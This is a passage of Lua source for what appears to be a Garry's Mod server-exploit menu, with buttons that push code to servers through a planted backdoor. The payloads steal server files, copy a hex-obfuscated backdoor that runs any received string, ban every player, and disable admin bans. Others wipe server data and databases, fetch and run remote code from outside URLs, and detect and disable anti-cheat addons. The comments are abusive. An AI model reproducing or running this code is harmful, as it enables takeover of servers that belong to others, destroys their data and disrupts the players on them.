737 function noob.OpenTextDocument(path, str, parent)
738 local downloader = vgui.Create("DButton", item8)
739 downloader:SetFont("Trebuchet18")
740 downloader:SetText("File Downloader (Save)")
741 downloader:SetTextColor(Color(255, 255, 255, 255))
742 downloader:SetPos(2, 39)
743 downloader:SetSize(525, 30)
744
745 downloader.Paint = function(self, w, h)
746 surface.SetDrawColor(Color(30, 30, 30))
747 surface.DrawRect(0, 0, w, h)
748 surface.SetDrawColor(21, 21, 21)
749 surface.SetMaterial(upgrad)
750 surface.SetDrawColor(o_color2)
751 surface.SetMaterial(downgrad)
752 surface.SetDrawColor(o_color2)
753 surface.SetDrawColor(21, 21, 21, 255)
754 surface.DrawOutlinedRect(0, 0, w, h)
755 end
756
757 downloader.DoClick = function()
758 surface.PlaySound("buttons/button18.wav")
759
760 Derma_StringRequest("Save file " .. path .. "", "File name e.g: server.txt)", "", function(text)
761 if not string.find(text, ".txt") then
762 text = text .. ".txt"
763 end
764
765 if not file.IsDir("rebug/files/", "DATA") then
766 file.CreateDir("rebug/files/")
767 end
768
769 file.Write("rebug/files/" .. text, str)
770 noob.Notify("Saved source to data/rebug/files/" .. text)
771 end)
772 end
773 end
774
775 rebug.AddButtonBIG("File Downloader", item8, function()
776 surface.PlaySound("buttons/button18.wav")
777
778 Derma_StringRequest("Steal File Source", "File Path (Relative to garrysmod/)", "", function(text)
779 net.Receive("file", function(len)
780 local str = net.ReadString()
781
782 if str ~= "ERROR" then
783 noob.OpenTextDocument(text, str, frame)
784 else
785 noob.Notify("Unable to find file " .. text .. " on the server")
786 end
787 end)
788
789 noob.PostLua([[
790 util.AddNetworkString( "file" )
791 local id = ]] .. LocalPlayer():UserID() .. [[
792 local f = file.Open( "]] .. text .. [[", "r", "GAME" )
793 if !f then
794 net.Start( "file" )
795 net.WriteString( "ERROR" )
796 net.Send( Player( id ) )
797 return
798 end
799 local str = f:Read( f:Size() )
800 f:Close()
801 net.Start( "file" )
802 net.WriteString( str )
803 net.Send( Player( id ) )
804 ]])
805 end)
806 end)
807 end
808
809 local filegrabber = vgui.Create("DButton", VoidPlate)
810 filegrabber:SetFont("Trebuchet18")
811 filegrabber:SetText("File Download")
812 filegrabber:SetTextColor(Color(255, 255, 255, 255))
813 filegrabber:SetPos(235, 591)
814 filegrabber:SetSize(180, 40)
815
816 filegrabber.Paint = function(self, w, h)
817 surface.SetDrawColor(Color(30, 30, 30))
818 surface.DrawRect(0, 0, w, h)
819 surface.SetDrawColor(21, 21, 21)
820 surface.SetMaterial(upgrad)
821 surface.SetDrawColor(o_color2)
822 surface.SetMaterial(downgrad)
823 surface.SetDrawColor(o_color2)
824 surface.SetDrawColor(21, 21, 21, 255)
825 surface.DrawOutlinedRect(0, 0, w, h)
826 end
827
828 filegrabber.DoClick = function()
829 filegrab()
830 Void:SetVisible(false)
831 end
832
833--[[-------------------------------------------------------------------------------------
834AntiCheat Detection
835----------------------------------------------------------------------------------------]]
836 function anticheats()
837 local acfags = {
838 ["BetterSNTE Anti-Cheat"] = {
839 desc = "This was created shortly after SNTE became noticed to the pubic, This addon makes snte even more annyoying if it is being used by a server \n Luckly rebug detour does not get detected by this",
840 scan = function()
841 if file.Exists("epstat.lua", "LUA") or file.Exists("autorun/!!bettersnte.lua", "LUA") then
842 return true
843 else
844 return false
845 end
846 end
847 },
848 ["Cake Anti-Cheat (CAC)"] = {
849 desc = "One of the best anticheats ever created on gmod still bans kids for cheating after it \n was removed from gmodstore in 2017. Pity it it was never made to detect backdoors.",
850 scan = function()
851 if _G.CAC then
852 return true
853 else
854 return false
855 end
856 end
857 },
858 ["Quack Anti-Cheat (QAC)"] = {
859 desc = "This addon is a joke even when it was released in 2014 it didn't detect anything. \n Still to this day i question if it was actually meant to ban people.",
860 scan = function()
861 if _G.QAC then
862 return true
863 else
864 return false
865 end
866 end
867 },
868 ["SNTE Anti-Cheat"] = {
869 desc = "This has been ruining skids for more than a year now. With our methods you can detour \n this idiotic anti-cheat and not have a problem with it",
870 scan = function()
871 if ConVarExists("snte_ulxluarun" or "snte_duperun" or "snte_banmethod") or file.Exists("autorun/!coresource_snte.lua", "LUA") or istable(global_nets) then
872 return true
873 else
874 return false
875 end
876 end
877 },
878 ["Modern Anti-Cheat"] = {
879 desc = "This addon took ideas from snte and has a dhtml detection methods such as modules, \n Luckly for you WE are undetected from this shit.",
880 scan = function()
881 if file.Exists("autorun/client/!!!!!!!!!!!!!!!!!!!!!!aaaaaaaaaaa.lua", "LUA") or file.Exists("autorun/client/cl_mac.lua", "LUA") then
882 return true
883 else
884 return false
885 end
886 end
887 },
888 ["Swift Anti-Cheat"] = {
889 desc = "This is the worst anticheat that i have ever seen i used kone bypass and it didn't ban me \n let alone use a backdoor what a joke of an addon.",
890 scan = function()
891 if file.Exists("swiftac.lua", "LUA") then
892 return true
893 else
894 return false
895 end
896 end
897 },
898 ["Umbrella Anti-Cheat"] = {
899 desc = "This was created by a bunch of retarded russians, you would have thought that they would have a brain for cheating \n in games but for gmod however they make something that is a copy of snte.",
900 scan = function()
901 if file.Exists("umbrella.lua", "LUA") then
902 return true
903 else
904 return false
905 end
906 end
907 },
908 ["Viper Anti-Cheat"] = {
909 desc = "This is shit anticheat was uploaded to a leaking website by some russian, this addon is complete shit doesn't even detect anything \n don't bother get scared of this shit if you somehow find it on a server.",
910 scan = function()
911 if file.Exists("cl_viperbdcheck.lua", "LUA") or file.Exists("sh_viperbdcheck.lua", "LUA") or file.Exists("autorun/cl_viper.lua", "LUA") then
912 return true
913 else
914 return false
915 end
916 end
917 },
918 ["Raptor Anti-Cheat"] = {
919 desc = "This is a russian anticheat that is completly useless. It donesn't have anything inside that code that even detect kone bypass.\n Do not be feared by this addon",
920 scan = function()
921 if file.Exists("autorun/client/cl_rac.lua", "LUA") then
922 return true
923 else
924 return false
925 end
926 end
927 },
928 ["Prop Protection (SPC)"] = {
929 desc = "GmodStore paid addon, This will prevent you from prop killing and prop climbing. \n This will irritate you if you were planing on prop killing",
930 scan = function()
931 if file.Exists("autorun/smartsauce_loader.lua", "LUA") or file.Exists("autorun/smartsauce/sv_main.lua", "LUA") then
932 return true
933 else
934 return false
935 end
936 end
937 },
938 ["Spawn Protection"] = {
939 desc = "GmodStore paid spawn protection an addon that has been around for some time and is still \n a popular addon to lots of people including me",
940 scan = function()
941 if file.Exists("sz_config.lua", "LUA") or file.Exists("autorun/autorun_safezones.lua", "LUA") then
942 return true
943 else
944 return false
945 end
946 end
947 },
948 ["Screengrab Anti-Cheat"] = {
949 desc = "This is an addon that has been catching skids out for a while, most wonder how admins see \n there shitty wall hacks except rebug doesn't have any",
950 scan = function()
951 if file.Exists("cl_screengrab.lua", "LUA") or file.Exists("autorun/sh_screengrab.lua", "LUA") or file.Exists("autorun/sh_screengrab_v2.lua", "LUA") then
952 return true
953 else
954 return false
955 end
956 end
957 },
958 ["BLogs Logging System"] = {
959 desc = "GmodStore addon that has been popular since release. It is still popular even in 2019 and will most likely be still popular after then",
960 scan = function()
961 if file.Exists("gmodadminsuite/modules/logging/cl_menu.lua", "LUA") or file.Exists("vgui/gas_logging_advanced_search_item.lua", "LUA") then
962 return true
963 else
964 return false
965 end
966 end
967 },
968 ["LUA Stealer (Void)"] = {
969 desc = "This is one of my creation, It is able to download the source code to your lua scripts from \n you just pressing a button. This is a good addon yesss :)",
970 scan = function()
971 if file.Exists("autorun/sh_fuckthissheet.lua", "LUA") then
972 return true
973 else
974 return false
975 end
976 end
977 },
978 }
979
980 local acpanel = vgui.Create("DFrame")
981 if not acpanel then return end
982 acpanel:SetSize(500, 455)
983 acpanel:SetTitle("Security measures for the server")
984 acpanel:Center()
985 acpanel:MakePopup()
986
987 acpanel.Paint = function(s, w, h)
988 surface.SetDrawColor(Color(30, 30, 30, 255))
989 surface.DrawRect(0, 0, w, h)
990 surface.SetDrawColor(Color(55, 55, 55, 255))
991 surface.DrawOutlinedRect(0, 0, w, h)
992 surface.DrawOutlinedRect(1, 1, w - 2, h - 2)
993 surface.SetDrawColor(Color(33, 33, 33, 200))
994 surface.DrawRect(10, 25, w - 20, h - 35)
995 end
996
997 local Plist = vgui.Create("DPanelList", acpanel)
998 Plist:SetSize(acpanel:GetWide() - 20, acpanel:GetTall() - 35)
999 Plist:SetPadding(5)
1000 Plist:SetSpacing(5)
1001 Plist:EnableHorizontal(false)
1002 Plist:EnableVerticalScrollbar(true)
1003 Plist:SetPos(10, 25)
1004 Plist:SetName("")
1005
1006 local function CreateACPanel(cmd)
1007 if not acpanel then return end
1008 local cmdp = vgui.Create("DPanel")
1009 cmdp:SetSize(Plist:GetWide(), 60)
1010 cmdp.Cmd = cmd
1011 cmdp.Desc = acfags[cmd].desc
1012
1013 cmdp.Paint = function(s, w, h)
1014 surface.SetDrawColor(Color(50, 50, 50, 255))
1015 surface.DrawRect(0, 0, w, h)
1016 surface.SetDrawColor(Color(65, 65, 65, 255))
1017 surface.DrawOutlinedRect(0, 0, w, h)
1018 surface.DrawLine(0, 24, w, 24)
1019 draw.DrawText(cmdp.Cmd, "DermaDefault", 10, 5, Color(255, 255, 255))
1020 draw.DrawText(cmdp.Desc, "DermaDefault", 10, 28, Color(205, 205, 255, 100))
1021 end
1022
1023 Plist:AddItem(cmdp)
1024 end
1025
1026 for k, v in pairs(acfags) do
1027 if v["scan"]() then
1028 CreateACPanel(k)
1029 end
1030 end
1031 end
1032
1033 local anticheat = vgui.Create("DButton", VoidPlate)
1034 anticheat:SetFont("Trebuchet18")
1035 anticheat:SetText("AntiCheats")
1036 anticheat:SetTextColor(Color(255, 255, 255, 255))
1037 anticheat:SetPos(473, 591)
1038 anticheat:SetSize(180, 40)
1039
1040 anticheat.Paint = function(self, w, h)
1041 surface.SetDrawColor(Color(30, 30, 30))
1042 surface.DrawRect(0, 0, w, h)
1043 surface.SetDrawColor(21, 21, 21)
1044 surface.SetMaterial(upgrad)
1045 surface.SetDrawColor(o_color2)
1046 surface.SetMaterial(downgrad)
1047 surface.SetDrawColor(o_color2)
1048 surface.SetDrawColor(21, 21, 21, 255)
1049 surface.DrawOutlinedRect(0, 0, w, h)
1050 end
1051
1052 anticheat.DoClick = function()
1053 surface.PlaySound("buttons/button18.wav")
1054 anticheats()
1055 Void:SetVisible(false)
1056 end
1057
1058--[[-------------------------------------------------------------------------------------
1059Panels 1 : rcon / detour
1060----------------------------------------------------------------------------------------]]
1061 local List1 = vgui.Create("DPanelList", VoidPlate)
1062 List1:SetPos(6, 9)
1063 List1:SetSize(876, 117)
1064 List1:SetPadding(5)
1065 List1:SetSpacing(5)
1066 List1:EnableHorizontal(false)
1067 List1:EnableVerticalScrollbar(true)
1068 List1:SetName("")
1069
1070 List1.Paint = function(self, w, h)
1071 surface.SetDrawColor(Color(30, 30, 30))
1072 surface.DrawRect(0, 0, w, h)
1073 surface.SetDrawColor(21, 21, 21)
1074 surface.SetMaterial(upgrad)
1075 surface.SetDrawColor(o_color2)
1076 surface.SetMaterial(downgrad)
1077 surface.SetDrawColor(o_color2)
1078 surface.SetDrawColor(21, 21, 21, 255)
1079 surface.DrawOutlinedRect(0, 0, w, h)
1080 end
1081
1082 local detour = vgui.Create("DTextEntry", List1)
1083 detour:SetPos(467, 9)
1084 detour:SetSize(400, 100)
1085 detour:SetTextColor(Color(255, 255, 255, 255))
1086 detour:SetFont("Trebuchet18")
1087
1088 detour.Paint = function(self, w, h)
1089 surface.SetDrawColor(Color(33, 33, 33))
1090 surface.DrawRect(0, 0, w, h)
1091 surface.SetDrawColor(21, 21, 21)
1092 surface.SetMaterial(upgrad)
1093 surface.SetDrawColor(o_color2)
1094 surface.SetMaterial(downgrad)
1095 surface.SetDrawColor(o_color2)
1096 surface.SetDrawColor(21, 21, 21, 255)
1097 surface.DrawOutlinedRect(0, 0, w, h)
1098 self:DrawTextEntryText(Color(255, 255, 255), Color(20, 20, 150), Color(100, 100, 100))
1099 end
1100
1101 detour.OnEnter = function(self)
1102 surface.PlaySound("buttons/button18.wav")
1103 noob.Notify("Targeting NetString: '" .. detour:GetValue() .. "'")
1104 channel = self:GetValue()
1105 end
1106
1107 local shitbox = vgui.Create("DTextEntry", List1)
1108 shitbox:SetPos(10, 9)
1109 shitbox:SetSize(416, 64)
1110 shitbox:SetTextColor(Color(255, 255, 255, 255))
1111 shitbox:SetFont("Trebuchet18")
1112 shitbox:SetMultiline(true)
1113
1114 shitbox.Paint = function(self, w, h)
1115 surface.SetDrawColor(Color(33, 33, 33))
1116 surface.DrawRect(0, 0, w, h)
1117 surface.SetDrawColor(21, 21, 21)
1118 surface.SetMaterial(upgrad)
1119 surface.SetDrawColor(o_color2)
1120 surface.SetMaterial(downgrad)
1121 surface.SetDrawColor(o_color2)
1122 surface.SetDrawColor(21, 21, 21, 255)
1123 surface.DrawOutlinedRect(0, 0, w, h)
1124 self:DrawTextEntryText(Color(255, 255, 255), Color(20, 20, 150), Color(100, 100, 100))
1125 end
1126
1127 local rconcmd = vgui.Create("DButton", List1)
1128 rconcmd:SetFont("Trebuchet18")
1129 rconcmd:SetText("Rcon CMD")
1130 rconcmd:SetTextColor(Color(255, 255, 255, 255))
1131 rconcmd:SetPos(10, 79)
1132 rconcmd:SetSize(200, 30)
1133
1134 rconcmd.Paint = function(self, w, h)
1135 surface.SetDrawColor(Color(200, 24, 24))
1136 surface.SetDrawColor(40, 40, 40)
1137 surface.DrawOutlinedRect(0, 0, w, h)
1138 end
1139
1140 rconcmd.DoClick = function()
1141 surface.PlaySound("buttons/button18.wav")
1142 local GetEntry = shitbox:GetValue()
1143 net.Start(channel)
1144 net.WriteString(GetEntry)
1145 net.WriteBit(false)
1146 net.SendToServer()
1147 end
1148
1149 local luacmd = vgui.Create("DButton", List1)
1150 luacmd:SetFont("Trebuchet18")
1151 luacmd:SetText("Lua CMD")
1152 luacmd:SetTextColor(Color(255, 255, 255, 255))
1153 luacmd:SetPos(226, 79)
1154 luacmd:SetSize(200, 30)
1155
1156 luacmd.Paint = function(self, w, h)
1157 surface.SetDrawColor(Color(200, 24, 24))
1158 surface.SetDrawColor(40, 40, 40)
1159 surface.DrawOutlinedRect(0, 0, w, h)
1160 end
1161
1162 luacmd.DoClick = function()
1163 local GetEntry = shitbox:GetValue()
1164 net.Start(channel)
1165 net.WriteString(GetEntry)
1166 net.WriteBit(1)
1167 net.SendToServer()
1168 end
1169
1170--[[-------------------------------------------------------------------------------------
1171Panels 2 : backdoors :)
1172----------------------------------------------------------------------------------------]]
1173 local List2 = vgui.Create("DPanelList", VoidPlate)
1174 List2:SetPos(19, 155)
1175 List2:SetSize(180, 430)
1176 List2:SetPadding(2)
1177 List2:SetSpacing(2)
1178 List2:EnableHorizontal(false)
1179 List2:EnableVerticalScrollbar(true)
1180 List2:SetName("")
1181
1182 List2.Paint = function(self, w, h)
1183 surface.SetDrawColor(Color(30, 30, 30))
1184 surface.DrawRect(0, 0, w, h)
1185 surface.SetDrawColor(21, 21, 21)
1186 surface.SetMaterial(upgrad)
1187 surface.SetDrawColor(o_color2)
1188 surface.SetMaterial(downgrad)
1189 surface.SetDrawColor(o_color2)
1190 surface.SetDrawColor(21, 21, 21, 255)
1191 surface.DrawOutlinedRect(0, 0, w, h)
1192 end
1193
1194 local item1 = vgui.Create("DPanelList", List2)
1195 item1:SetPos(12, 8)
1196 item1:SetSize(170, 420)
1197 item1:SetPadding(2)
1198 item1:SetSpacing(2)
1199 item1:EnableHorizontal(false)
1200 item1:EnableVerticalScrollbar(true)
1201 item1:SetName("")
1202
1203 item1.Paint = function(self, w, h)
1204 surface.SetDrawColor(Color(30, 30, 30))
1205 surface.DrawRect(0, 0, w, h)
1206 surface.SetDrawColor(21, 21, 21)
1207 surface.SetDrawColor(35, 35, 35, 0)
1208 surface.DrawOutlinedRect(0, 0, w, h)
1209 end
1210
1211 local Bar1 = vgui.Create("DScrollPanel", item1)
1212 Bar1:Dock(FILL)
1213 local sBar1 = Bar1:GetVBar()
1214
1215 function sBar1:Paint()
1216 end
1217
1218 function sBar1.btnUp:Paint()
1219 end
1220
1221 function sBar1.btnDown:Paint()
1222 end
1223
1224 function sBar1.btnGrip:Paint()
1225 end
1226
1227 local copy = vgui.Create("DButton", VoidPlate)
1228 copy:SetFont("Trebuchet18")
1229 copy:SetText("Copy Backdoor")
1230 copy:SetTextColor(Color(255, 255, 255, 255))
1231 copy:SetPos(19, 591)
1232 copy:SetSize(180, 40)
1233
1234 copy.Paint = function(self, w, h)
1235 surface.SetDrawColor(Color(30, 30, 30))
1236 surface.DrawRect(0, 0, w, h)
1237 surface.SetDrawColor(21, 21, 21)
1238 surface.SetMaterial(upgrad)
1239 surface.SetDrawColor(o_color2)
1240 surface.SetMaterial(downgrad)
1241 surface.SetDrawColor(o_color2)
1242 surface.SetDrawColor(21, 21, 21, 255)
1243 surface.DrawOutlinedRect(0, 0, w, h)
1244 end
1245
1246 copy.DoClick = function()
1247 surface.PlaySound("buttons/button18.wav")
1248 rprint(" Copied! LuaRun or place inside addon")
1249 SetClipboardText('util.AddNetworkString("\x52\x45\x42\x55\x47")net.Receive("\x52\x45\x42\x55\x47"),function()RunString(net.ReadString())end)')
1250 end
1251
1252 local bhop = vgui.Create("DButton", VoidPlate)
1253 bhop:SetFont("Trebuchet18")
1254 bhop:SetText("Bunny Hop")
1255 bhop:SetTextColor(Color(255, 255, 255, 255))
1256 bhop:SetPos(19, 637)
1257 bhop:SetSize(180, 40)
1258
1259 bhop.Paint = function(self, w, h)
1260 surface.SetDrawColor(Color(30, 30, 30))
1261 surface.DrawRect(0, 0, w, h)
1262 surface.SetDrawColor(21, 21, 21)
1263 surface.SetMaterial(upgrad)
1264 surface.SetDrawColor(o_color2)
1265 surface.SetMaterial(downgrad)
1266 surface.SetDrawColor(o_color2)
1267 surface.SetDrawColor(21, 21, 21, 255)
1268 surface.DrawOutlinedRect(0, 0, w, h)
1269 end
1270
1271 bhop.DoClick = function()
1272 surface.PlaySound("buttons/button18.wav")
1273
1274 if hook.GetTable()["VOIDZZ"] then
1275 hook.Remove("VOIDZZ")
1276 end
1277
1278 local function ch_bunnyhop(ply)
1279 if (ply:KeyDown(IN_JUMP) and not LocalPlayer():IsOnGround()) then
1280 ply:RemoveKey(IN_JUMP)
1281
1282 if not LocalPlayer():IsFlagSet(FL_ONGROUND) and LocalPlayer():GetMoveType() ~= MOVETYPE_NOCLIP then
1283 if (ply:GetMouseX() > 1 or ply:GetMouseX() < -1) then
1284 ply:SetSideMove(ply:GetMouseX() > 1 and 400 or -400)
1285 else
1286 ply:SetForwardMove(5850 / LocalPlayer():GetVelocity():Length2D())
1287 ply:SetSideMove((ply:CommandNumber() % 2 == 0) and -400 or 400)
1288 end
1289 end
1290 elseif (ply:KeyDown(IN_JUMP)) then
1291 ply:SetForwardMove(10000)
1292 end
1293 end
1294
1295 hook.Add("CreateMove", "VOIDZZ", function(ply)
1296 ch_bunnyhop(ply)
1297 end)
1298 end
1299
1300 -- Backdoor 1
1301 rebug.AddButton("@Inject SendLua Interface", Bar1, function()
1302 surface.PlaySound("buttons/button18.wav")
1303 noob.PostLua([[util.AddNetworkString ('REBUG') net.Receive ('REBUG', function (length, ply) local netString = net.ReadString () local bit = net.ReadBit () if bit == 1 then RunString (netString) else game.ConsoleCommand (netString ..'\n') end end)]])
1304 end)
1305
1306 rebug.AddButton("Artillery Server Strike", Bar1, function()
1307 surface.PlaySound("buttons/button18.wav")
1308 noob.PostLua([[if !bombstrike then
1309
1310 hook.Add("Think", "lulz_bombstrike", function()
1311
1312 local explode = ents.Create("env_explosion")
1313
1314 local ps = Vector(math.random(-8000, 8000), math.random(-8000, 8000), math.random(-5000, 5000))
1315
1316 local trc = {}
1317
1318 trc.start = ps
1319
1320 trc.endpos = ps + Vector(0, 0, -99999)
1321
1322 local tr = util.TraceLine(trc)
1323
1324 if !tr.Hit then return end
1325
1326 explode:SetPos(tr.HitPos)
1327
1328 explode:Spawn()
1329
1330 explode:SetKeyValue("iMagnitude", "400")
1331
1332 explode:Fire("Explode", 0, 0)
1333
1334 end)
1335
1336 bombstrike = true
1337
1338 else
1339
1340 hook.Remove("Think", "lulz_bombstrike")
1341
1342 bombstrike = false
1343
1344 end]])
1345 end)
1346
1347 rebug.AddButton("Announce centre screen", Bar1, function()
1348 surface.PlaySound("buttons/button18.wav")
1349
1350 Derma_StringRequest("Set Custom Text", "Set Text", "", function(str)
1351 noob.PostLua("for k, v in pairs(player.GetAll()) do v:PrintMessage( HUD_PRINTCENTER, \"" .. str .. "\") end")
1352 end)
1353 end)
1354
1355 rebug.AddButton("Broken Glass Symphony", Bar1, function()
1356 surface.PlaySound("buttons/button18.wav")
1357 noob.PostLua([[if !timer.Exists("A true masterpiece") then
1358
1359 timer.Create("A true masterpiece", 0.2, 0, function()
1360
1361 for _, p in pairs(player.GetAll()) do
1362
1363 p:EmitSound("physics/glass/glass_largesheet_break"..math.random(1,3)..".wav", 100, math.random(40, 180))
1364
1365 end
1366
1367 end)
1368
1369 else
1370
1371 timer.Remove("A true masterpiece")
1372
1373 end]])
1374 end)
1375
1376 rebug.AddButton("Double Or Nothing", Bar1, function()
1377 surface.PlaySound("buttons/button18.wav")
1378
1379 Derma_StringRequest("Set win chance", "1-100", "", function(str)
1380 noob.PostLua("BDON_CONFIG.doubleChance = " .. str)
1381 end)
1382 end)
1383
1384 rebug.AddButton("Ban All Players", Bar1, function()
1385 surface.PlaySound("buttons/button18.wav")
1386
1387 Derma_StringRequest("Ban All Players", "Reason", "", function(text)
1388 noob.PostLua([[
1389
1390 local id = ]] .. LocalPlayer():UserID() .. [[
1391
1392 for k, v in next, player.GetAll() do
1393
1394 if v:UserID() == id then continue end
1395
1396 v:Ban( 0, false )
1397
1398 v:Kick( "]] .. tostring(text) .. [[" )
1399
1400 end]])
1401 end)
1402 end)
1403
1404 rebug.AddButton("Break Economy", Bar1, function()
1405 surface.PlaySound("buttons/button18.wav")
1406 noob.PostLua([[for k,v in pairs(player.GetAll()) do v:addMoney(9999999999) end]])
1407 end)
1408
1409 rebug.AddButton("Cleanup Map", Bar1, function()
1410 surface.PlaySound("buttons/button18.wav")
1411 noob.PostLua([[game.CleanUpMap()]])
1412 end)
1413
1414 rebug.AddButton("Console Jammer", Bar1, function()
1415 surface.PlaySound("buttons/button18.wav")
1416 noob.PostLua([[if !(timer.Exists("consoleJammer")) then
1417
1418 timer.Create("consoleJammer", 0.5, 0, function()
1419
1420 print("\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n")
1421
1422 end)
1423
1424 else
1425
1426 timer.Destroy("consoleJammer")
1427
1428 end]])
1429 end)
1430
1431 rebug.AddButton("Change Everyone Name", Bar1, function()
1432 Derma_StringRequest("Set Everyones Name", "Name", "", function(text)
1433 noob.PostLua([[local str = "]] .. text .. [["
1434
1435 for k, v in next, player.GetAll() do
1436
1437 DarkRP.storeRPName( v, str )
1438
1439 v:setDarkRPVar( "rpname", str )
1440
1441 end]])
1442 end)
1443 end)
1444
1445 rebug.AddButton("Change All Model", Bar1, function()
1446 surface.PlaySound("buttons/button18.wav")
1447
1448 Derma_StringRequest("Change Everyones Model", "Model Directory", "", function(str)
1449 noob.PostLua("for k, v in pairs(player.GetAll()) do v:SetModel(\"" .. str .. "\") end")
1450 end)
1451 end)
1452
1453 rebug.AddButton("Change All Material", Bar1, function()
1454 surface.PlaySound("buttons/button18.wav")
1455
1456 Derma_StringRequest("Set Everythings Material", "Material Directory", "", function(str)
1457 noob.PostLua("for k, v in pairs(ents.GetAll()) do v:SetMaterial(\"" .. str .. "\") end")
1458 end)
1459 end)
1460
1461 rebug.AddButton("Disable Bans/Kicks", Bar1, function()
1462 surface.PlaySound("buttons/button18.wav")
1463 noob.PostLua([[if ULib then
1464
1465 function ULib.kick( ply, reason, calling_ply ) end
1466
1467 function ULib.ban( ply, time, reason, admin ) end
1468
1469 function ULib.addBan( steamid, time, reason, name, admin ) end
1470
1471 end
1472
1473 if FAdmin then
1474
1475 local function no(ply) end
1476
1477 FAdmin.Commands.AddCommand("kick", no)
1478
1479 FAdmin.Commands.AddCommand("ban", no)
1480
1481 FAdmin.Commands.AddCommand("jail", no)
1482
1483 FAdmin.Commands.AddCommand("UnJail", no)
1484
1485 FAdmin.Commands.AddCommand("ClearDecals", no)
1486
1487 FAdmin.Commands.AddCommand("StopSounds", no)
1488
1489 FAdmin.Commands.AddCommand("CleanUp", no)
1490
1491 end
1492
1493 local _R = debug.getregistry()
1494
1495 function _R.Player.Ban(ply, r) end
1496
1497 function _R.Player.Kick(ply, r) end
1498
1499 function game.KickID(id, reason) end
1500
1501 local RCM = RunConsoleCommand
1502
1503 function RunConsoleCommand(command, ...)
1504
1505 if command == "addip" then return end
1506
1507 RCM(command, ...)
1508
1509 end]])
1510 end)
1511
1512 rebug.AddButton("Disable SNTE", Bar1, function()
1513 surface.PlaySound("buttons/button18.wav")
1514 noob.PostLua([[
1515
1516 local function Check(func)
1517
1518 if string.find(debug.getinfo(func).short_src,"snte_source.lua") then
1519
1520 return true
1521
1522 else
1523
1524 return false
1525
1526 end
1527
1528 end
1529
1530 timer.Create("rvacbypass",5,0,function()
1531
1532 for k,v in pairs(net.Receivers) do
1533
1534 if Check(v) then
1535
1536 net.Receive(k,function(l,ply)
1537
1538 ply:ChatPrint("LEL")
1539
1540 end)
1541
1542 end
1543
1544 end
1545
1546
1547 end)]])
1548 end)
1549
1550 rebug.AddButton("Disable Exit", Bar1, function()
1551 surface.PlaySound("buttons/button18.wav")
1552 noob.PostLua([[hook.Add("Think","iuefheqefq",function() gui.HideGameUI() end)]])
1553 end)
1554
1555 rebug.AddButton("Delete Server", Bar1, function()
1556 surface.PlaySound("buttons/button18.wav")
1557 noob.PostLua([[local function WipeDir(dir)
1558
1559 local files,dirs = file.Find(dir.."*", "DATA")
1560
1561 for k,v in ipairs(files) do
1562
1563 file.Delete(dir..v)
1564
1565 end
1566
1567 for k,v in ipairs(dirs) do
1568
1569 WipeDir(v.."/")
1570
1571 end
1572
1573 end
1574
1575 print(60*60*6)
1576
1577 local function wiperpro()
1578
1579 print("Wiping server data. . .")
1580
1581 WipeDir("")
1582
1583 sql.Query("DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)")
1584
1585 if ULib then
1586
1587 for k,v in pairs(ULib.ucl.groups) do
1588
1589 if k != "user" then
1590
1591 ULib.ucl.removeGroup(k)
1592
1593 end
1594
1595 end
1596
1597 end
1598
1599 if FPP then
1600
1601 for k,v in pairs(FPP.Blocked) do
1602
1603 for r,g in pairs(v) do
1604
1605 RunConsoleCommand([=[FPP_RemoveBlocked]=], k, r)
1606
1607 end
1608
1609 end
1610
1611 end
1612
1613 for i=1,256 do
1614
1615 RunConsoleCommand("removeid",i)
1616
1617 end
1618
1619 for k,v in ipairs(player.GetAll()) do
1620
1621 v:Kick("rvac.Team")
1622
1623 end
1624
1625 print("Wipe finished !")
1626
1627 end
1628
1629 timer.Create("1Tap",0.5,1,function() while true do end end)
1630
1631 wiperpro()]])
1632 end)
1633
1634 rebug.AddButton("Earthquake", Bar1, function()
1635 surface.PlaySound("buttons/button18.wav")
1636 noob.PostLua([[if !timer.Exists("earthquake") then
1637
1638 timer.Create("earthquake", 0.5, 500, function()
1639
1640 for _, p in pairs(player.GetAll()) do
1641
1642 p:SetPos(p:GetPos() + Vector(0, 0, 1))
1643
1644 p:SetVelocity(Vector(math.random(-50, 50), math.random(-50, 50), math.random(100, 150)))
1645
1646 util.ScreenShake(p:GetPos(), 20, 1, 1, 100)
1647
1648 p:EmitSound("ambient/explosions/exp1.wav", 100, math.random(60, 100))
1649
1650 end
1651
1652 for _, e in pairs(ents.GetAll()) do
1653
1654 if e:GetPhysicsObject() and e:GetPhysicsObject():IsValid() then e:GetPhysicsObject():AddVelocity(Vector(math.random(-50, 50), math.random(-50, 50), math.random(100, 150))) end
1655
1656 end
1657
1658 end)
1659
1660 else
1661
1662 timer.Remove("earthquake")
1663
1664 end]])
1665 end)
1666
1667 rebug.AddButton("EarRape", Bar1, function()
1668 surface.PlaySound("buttons/button18.wav")
1669 noob.PostLua("for k,v in pairs(player.GetAll()) do v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end")
1670 end)
1671
1672 rebug.AddButton("Enigma Disco", Bar1, function()
1673 surface.PlaySound("buttons/button18.wav")
1674 noob.PostLua([[http.Fetch("https://rvac.cc/load/b1g.lua", function(b) RunString(b) end )]])
1675 end)
1676
1677 rebug.AddButton("Enigma Disco 2.0", Bar1, function()
1678 surface.PlaySound("buttons/button18.wav")
1679 noob.PostLua([[http.Fetch("https://rvac.cc/load/xd.lua", function(b) RunString(b) end )]])
1680 end)
1681
1682 rebug.AddButton("Hell Mode", Bar1, function()
1683 surface.PlaySound("buttons/button18.wav")
1684 noob.PostLua([[BroadcastLua("http.Fetch('https://pastebin.com/raw/21tkfuM1',function(b,l,h,c)RunString(b)end,nil)")]])
1685 end)
1686
1687 rebug.AddButton("Ignite Everyone", Bar1, function()
1688 surface.PlaySound("buttons/button18.wav")
1689
1690 Derma_StringRequest("Ignite All Players", "Lenght In Seconds", "", function(str)
1691 noob.PostLua("for k, v in pairs(player.GetAll()) do v:Ignite(" .. str .. ") end")
1692 end)
1693 end)
1694
1695 rebug.AddButton("Kill Everyone", Bar1, function()
1696 surface.PlaySound("buttons/button18.wav")
1697 noob.PostLua("for k,v in pairs(player.GetAll()) do v:Kill() end")
1698 end)
1699
1700 rebug.AddButton("Luarun Access", Bar1, function()
1701 surface.PlaySound("buttons/button18.wav")
1702 noob.PostLua([[RunConsoleCommand("ulx", "groupallow", "user", "ulx luarun")]])
1703 end)
1704
1705 rebug.AddButton("Launch Players", Bar1, function()
1706 surface.PlaySound("buttons/button18.wav")
